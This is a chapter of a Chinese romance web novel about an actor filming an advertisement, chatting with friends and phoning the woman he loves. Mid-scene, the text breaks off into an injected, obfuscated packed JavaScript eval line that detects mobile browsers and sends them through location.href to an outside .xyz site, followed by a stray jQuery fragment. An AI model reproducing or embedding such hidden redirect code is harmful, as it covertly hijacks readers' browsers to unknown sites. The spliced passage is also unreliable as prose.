26. 重圆篇

作品:《经年浓情[破镜重圆]

    次日6点,盛愿再次准时出发,前去拍摄“蜜恋男友”的广告。今天拍摄的人设,是20岁的男爱豆“裴泽”和28岁的医生“顾帆”。


    上午选在市郊的一处山水庄园酒店,清晨露珠虫鸣、鸟语花香,让被迫早起的打工人顿时心情愉快、乳腺通畅。


    更赏心悦目的是在困顿之间,惊鸿瞥见一个打扮时尚靓眼的大帅比,开着超级拉风的红色保时捷超跑,从面前闪现而过。


    白色休闲皮夹克内搭圆领黑毛衣,点缀一条银光闪闪的十字架毛衣链,气质绝佳,青春朝气。


    广告女助理们:死眼,快给睁!


    “天呐,盛老师这颜值绝了。扮演20岁的大学生,竟然毫无违和感?”


    “这是吃什么长大的哟?”


    “红豆生南国,内娱产男模!”


    “啊啊啊啊啊我吃得也太好了叭!对,就这样一直投喂我,不要停!”


    “第一套无袖背心着实穿得大方了!深得我心,爱看,多穿——”


    几人不约而同聚到一块,踮起脚尖望向拍摄场地,几乎垂涎三千尺。


    带队的陈总看不下去,走过去斥责:“一个个没见过男人呐?赶紧该干嘛干嘛去,今天要是贪晚全部扣奖金!”


    卑微打工人吞了吞口水,无奈散开。


    恰是这时,苏渔提着两大袋子Tims咖啡和黄油肉松的起司面包,笑盈盈走过来:“大家早起辛苦啦!盛哥请大家吃早餐,人人有份哦。”


    女助理们再次心潮澎湃:


    “谢谢盛老师,谢谢小渔!”


    “爱了爱了,我受伤的身心都被男神给治愈了。”


    “虽说都是男人,但这差距哟。”


    有被阴阳到的陈老板:“……”


    中场休息,盛愿独自坐到白色遮阳伞下的藤椅上,静心研读接下来的拍摄剧本。


    没一会,私人手机的微信“叮叮叮”连响几下。他忙里偷闲瞥了眼,是名为“四个男人一台戏”的群聊。


    安北河:[昨晚还算顺利吧]


    留人到五更:[还成,暂时没露馅]


    安北河:[还剩4晚,说快也快]


    留人到五更:[@sy,听爸爸跟你讲,务必戒骄戒躁,继续稳定发挥]


    sy:[哪凉快滚哪去]


    丞墨是金:[盛哥的演技肯定没问题]


    丞墨是金:[要不是我事先知道真相,都差点以为你们是真情侣呢!]


    群里顿时鸦雀无声。


    顾燕京抬头看向坐在斜对面的丞小胖,表情一言难尽。


    “哎,咋咋咋都不说话啦?”丞墨纳闷看过来。


    “你还是问问盛愿,那5%的问题出在哪了吧。”顾燕京转着眼珠,“尤其他拆掉传音器后的细节,后面4次得尽可能规避掉。”


    “有道理。”丞墨低下头,在群里@sy:[盛哥,你昨晚摘掉传音器后,都做了哪些自主性决策行为?]


    安北河:[@sy有情况啊]


    留人到五更:[@sy快说说吧,务必配合小丞同志的工作哟]


    一连被@的sy:[……]


    丞墨为难:“顾顾院长,你看这?”


    “继续问,这些细节事关重大,必须得问出来!”顾燕京大义凛然地正色道。


    “行行行吧。”然后,丞墨开始在群里,对着盛愿一顿强火力输出。


    改用文字的丞小胖,战斗力还是十分强悍的。


    sy:[……]


    sy:[主动扔了她一包辣条]


    丞墨紧咬住不放:[不对,你那会还没摘掉传音器]


    盛愿被他缠得没办法,终是黑脸认命地透露一丝细节:[主动帮她洗了手]


    “噗!”


    安北河这会人在VIP候机室,差点笑喷一盅茶水。他单独戳开顾燕京的小窗:[你这是打哪找来的活宝?]


    盛愿也来私戳顾燕京,[想睡棺材你就直说!]


    顾燕京咬着拳头强忍住笑,给两人黏贴同样的回复:[某人呐,一时手欠一时爽,一直手欠火葬场]


    群里,丞墨终于换了话题:[盛哥,那咱今晚模拟哪个人设?]


    盛愿坐在白色编制藤椅上,扫了眼微信消息,抬头望向远处苍翠的假山和人工湖,以及往来熙熙的酒店旅人,目光却没有焦点。


    脑海中,则浮现出她笑容灿烂的毕业照。三年制的英本,却和他同一年毕业,那高考后突然消失的一年她又在做些什么?


    盛愿默然一瞬,[就那大学教授了]


    发完之后,他单独戳了安北河的小窗,垂眼谈及此事:[你怎么看?]


    安北河收到消息后,起初没太在意:


    [国外学生经常gap一年去社会实践]


    [以卓然的实力,去准备机器人大赛什么的也很正常]


    [你会不会太敏感了]


    sy:[是她那年太反常]


    安北河:[找个机会,直接当面问问她呢?]


    然后,他就看见sy的微信对话框上方,反复显示几遍“对方正在输入”,最后只发来三个字:[再说吧]


    安北河敛起笑意,停下手头工作。视线定格在“是她那年太反常”那条聊天记录上,黑眸点漆,幽邃非常。


    卓然那年有多反常,他并不上心。但盛愿那年怎么熬过来的,他永生难怪——


    高考一结束,在学校形影不离的同桌俩人,突然断崖般切断所有联系。卓然微信消息不回,高中毕业证书不取,家里也是人去楼空。


    盛愿找了她一整个暑假,开学到北京后翻遍每一所985高校。北城秋老虎40度高温,亦或雨后40度高烧,他都不肯停歇一天。


    “卓然肯定摊上事了,我晚找到一天,她自己就得多抗一天。北河你不知道,她那些坚强都是装出来的,其实她特怂特胆小。”


    “你再旷课就要被开除了,然后回去继承家产吗?”


    安北河实在劝不动他,最终不得以搬出卓然,“你能来北京学表演,也有卓然一份心血。要是这么放弃了,你以后还有脸再见她?”


    “是她先背弃承诺。说好一起逛遍北京城,结果只把我骗了过来。”


    盛愿大脑烧得混沌,无力垂抵在他肩头,“北河,我把她弄丢了……她不要我了。”


    随后,一阵濡湿淹没安北河的肩膀。


    从穿开裆裤就认识的发小,没谁比他更清楚盛愿与生俱来的高贵、桀骜。从安北河的立场,那一刻他何其憎恶这个女人。


    却也得打着她的名义,来劝盛愿:“就算你能找到人,除了求助盛伯父,你凭什么本事帮她?”


    盛愿高大身躯一僵,缄默不语。


    安北河拎着他颓靡的衣领,来到宿舍外的阳台上,指着学校那座最高的建筑,“愿子,你给我努力站到那个位置上去。”


    盛愿顺着他手指放向,目光缓缓定格在博雅塔的塔尖。不论站在北京大学的哪一处,不论白天黑夜,举头即可见。


    兄弟俩久久寂静无声后,击拳定誓。


    “嗡!”微信震动打断了遥远记忆。


    安北河先简洁回复完商务消息,转而点开“四个男人一台戏”的群聊,瞧了眼盛愿的回复:[就那大学教授了]


    兄弟多年的默契,让他大抵能猜出一二成盛愿的心境。


    根据大学这一年空白期推测,卓然当年有可能遭遇过什么,至今没完全释怀,也没主动跟盛愿提及。


    盛愿不敢亦不忍逼她太紧,却又担心不已,决计今晚用“大学教授”这重身份试着谈谈、试着帮到她。


    因为有些窗户纸一旦捅破,连再靠近她的资格都变得奢妄。


    这种小心翼翼,安北河怎会不懂?


    他伸手掏出随身携带的Hermès黑皮夹,一翻开,他和苏渔的合照即映入眼帘。


    16岁时的小蘑菇头,已出落得亭亭玉立,纯净如莲。亲昵趴在他背上,搂着他脖颈,两朵梨涡间冒着两颗小虎牙,笑容甜美可人。


    安北河抽出纸巾,认真擦去照片表面的细微浮尘。耳边,不经意响起宫崎骏老先生的那段话:


    “一个男人彻底喜欢上女人的样子,大概就是,偶尔像个孩子,偶尔像个流氓,偶尔像个父亲。耐心比合适更重要,懂比爱重要,最甜的情话不是我爱你,而是我对你现在有耐心,以后也有,一直都会有。”


    就像他愿意等他的小姑娘慢慢开窍,盛愿也等得起卓然的那份释怀。


    从这个层面而言,他也没必要再记恨着卓然当年的不告而别。


    更何况,她愿意替仅有数面之缘的苏渔挡下狗仔的那一击,这份恩情他安北河得念一辈子。


    安北河:[哪所大学]


    过了会,sy:[伦敦大学]


    “伦敦大学。”


    安北河将黑皮夹装回去,左手右手各握着部手机,从上到下浏览1000+微信好友列表。他在圈内经营这些年,最不缺的就是人脉。


    安北河:[你可以联系下Achilles]


    安北河:[我要没记错,他叔父Morris教授在伦敦大学任教]


    安北河:[不过Morris教授主攻医学,我不确定他能否跟计算机那边搭上话,你也别抱太大希望]


    sy:[兄弟,按说你这份恩情我只能以身相许了]


    sy:[但哥是直的,你也别抱太大希望]


    安北河:[……]


    安北河:[听顾燕京说,卓然不愿意去颁奖晚会]


    安北河:[你还是想想明天晚上怎么办吧]


    sy:[你妹]


    安北河:[你妹!]


    sy:[……]


    sy:[我的意思是,让苏小渔去邀请她,卓然这人吃软不吃硬]


    安北河:[呦呵,这才一晚就钻进佳人心了]


    sy:[至少走在某人前头咯]


    安北河:[……]


    安北河:[对,你最厉害了]


    安北河:[陪吃陪聊,还包代言养家,偶尔再伺候着洗个小手,你也真是机器人里的战斗机,战斗机里的垃圾了]


    sy:[gun——]


    *


    茗景庄园


    卓然起床后简单收拾,给盛碰瓷添了新的猫粮和水,换掉猫砂,然后自己简单做了份蓝莓酸奶燕麦碗。


    吃过早饭,她摸索到书房的办公桌前,以语音输入法的形式,往word文档里简略记录测试机器人的工作日志。


    可刚念叨两句,喉咙就干涩得不行,脸颊也火烧火燎的。


    昨晚那些有的没的记忆,好不容易睡一觉平复下去的情绪,全都席卷而来,平静的心湖被激荡起阵阵涟漪。


    “他”的霸道,“他”的宠溺,“他”的触碰,“他”的附耳低语……像张密不透风的无形大网,重新将她包裹其中,攫取着她贫瘠的呼吸。


    卓然使劲甩甩头,起身到洗手池旁,往发热的脸颊泼了捧凉水。


    不能再想了,快住脑!


    结果用毛巾擦拭指尖时,另一重亲密的记忆浪潮,又是不期而至……


    要命!那位“祖宗”怎么无孔不入?


    “叮咚——”入户门的门铃响了。


    盛碰瓷“蹭蹭蹭”先冲过去,比


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781981|172049||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    卓然快了不止一倍。她摸索着点开防盗门上的可视对讲机,“哪位?”


    “您好,我来派送您的JD快递。”


    卓然奇怪,她最近没在JD买东西,“收件人是盛先生吗?他住在主楼那边。”


    快递小哥:“不是,写的卓女士。”


    卓然更奇怪了,“什么商品?”


    “超级豪华版卫龙大礼包。”


    “……先放门口。”


    虽然不知道谁买的,但这位“卓女士”是她准没错了,卓然对号入座得胸有成竹。


    之后没多久,手机铃声响起,AI智能播报来电人:“sy。”


    卓然:“有事?”


    “喊你起床。”


    盛大顶流语气不平不愤的,还掺杂着惫懒的唉声叹气:“当老板就是命好,能睡到自然醒。不像我呀,6点就起床了。工资三千五,命比咖啡苦——”


    卓然:“……”


    不愧是演员,这台词功底真不赖。要不是知道他的三千五是以万作单位,就这可怜巴巴的语气,她差点就信了。


    等等,卓然拆辣条包装的动作一顿。


    他这是在跟她……撒娇么?


    卓然指尖无意识搓了搓包装袋的尖角,放下辣条,盘腿靠坐进沙发深处,凝神询问:“你们拍摄行程安排的这么早,6点就开始?”


    “嗯,不过这样也能早点结束。”盛愿恢复成一惯的散漫语气:“怎么着,你一个人在家还行吗?离不开哥就说话,虽然哥不一定有空去陪你。”


    卓然嘴角动了动:“用不着,机器人比你体贴一百倍。”


    “体贴……咳咳,”盛愿使劲清了清嗓子,翘起唇角,状似漫不经心地好奇道:“昨晚测试效果怎么样?”


    “还行。”卓然并不预去多回想昨晚一幕幕的脸红心跳。


    偏偏某些人追着她,非要打破沙锅问到底:“还行是什么意思嘛?好就是好,不好就是不好。”


    “……我设计出来的机器人,那自然是没得挑。”


    “是是是,你最厉害了。”盛愿用舌尖轻低了抵笑酸的唇角,“你的机器人和你一样厉害。”


    喉间没忍住,溢出一串愉快的气声。


    卓然捕捉到一耳朵,听着古里古怪,又不明所以,大抵又是在像前天那样冷嘲热讽吧。


    反正她不想再谈这事,索性转移话题:“你那边怎么样,拍摄还顺利吗?”


    同一时刻,“你脚怎么样?”


    两人双双安静,等了几秒,又不约而同说“还好。”


    空气再度双双安静。


    电话那头,男人好听的磁性音色低笑了声,顺着音筒传进卓然的耳畔,耳膜似被春风拂过。然后他就没再多言,似在耐着性子等她开口。


    卓然揉了揉耳朵,又随意挑起个话题:“这卫龙大礼包,你买的?”


    “相亲对象送的。”唯恐周围的人听见生事,盛愿刻意压低声量,但嚣张气焰依旧两米八,“哥不稀罕,赏你了。”


    ……相亲对象还特么地留了卓女士的联系方式,骗鬼呢。


    卓然毫不留情戳穿:“三个相亲对象就送一袋大礼包,盛顶流的魅力不行了啊。”


    “……”


    盛愿不爽地啧了声:“哥大人有大量,就让你这一回。”


    恰是这时,远处湖中心的一条石桩小路上,有个妈妈带着两个孩子走过,她抱着小的那个,将大点的孤零零扔在身后。


    琥珀色瞳仁倏地一暗。


    各种斑驳的信息直窜盛愿脑海,他轻扯唇角:“那么多口味的零食,你怎么总吃辣条?”


    卓然想也没想,“解压。”


    “解压的方式也有很多种。”


    盛愿的一再追问,让卓然难得正视起这个稀疏平常的小喜好。


    确实如他所说,类似她这种家庭条件,读书时周围的同学经常吃燕窝、黑松露、鱼子酱的大有人在。


    而她的潜意识里,肆无忌惮地吃上几包辣条,反倒更有满足感。


    记忆的闸门,被一根细丝线轻轻一拽,出乎意料地如洪水般涌来——


    那是幼年一幕,弟弟抢走辣条,不吃还糟蹋。她心疼地抢回来,被养母追着骂整条街。


    邻里街坊附和:“这么大的馋丫头,也不知道让着弟弟点,真不懂事!”


    养母说得更直白,“家里东西都是他的。你要是不哄着弟弟,以后就喝西北风去吧!”


    盛愿静候有半分钟,“嗯?”


    “哦,”卓然及时把自己从酸涩的过往剥离出来,“大人说这是垃圾食品,小时候不让吃。”她故作轻松笑了笑:“现在这不是翅膀硬了嘛。”


    她漫不经心的笑声,却像密密麻麻的倒钩荆棘缠上他心房,胸口蓦地空了一块。


    辣条如此,那刺多难剔的鱼尾呢?


    盛愿仰头望向湛蓝的穹顶,堪堪止住那股刺灼,也故作轻松地回道:“你这情况跟我妈挺像,她小时候学跳舞也要忌口。等后来从话剧团退下来之后,啥不卫生她偏要吃啥,连着吃有七八年了。”


    卓然勾唇,“盛叔不会干涉吗?”


    “这你就有所不知了,我们家祖传的怕老婆。”


    电话那头,男人不知有意无意,停顿一瞬才继续说,“老头子不仅不敢管,还得月月进贡皇粮,供着我妈一直吃到老。”


    卓然的呼吸,也莫名停滞住一瞬。


    确实感觉挺莫名的,她摇头失笑:“都说父子间没有隔夜仇,你如今这么出卖他,真的好吗?”


    “卓然。”男人忽然呢喃她名字。


    “嗯?”


    “你也可以吃辣条一直吃到老。”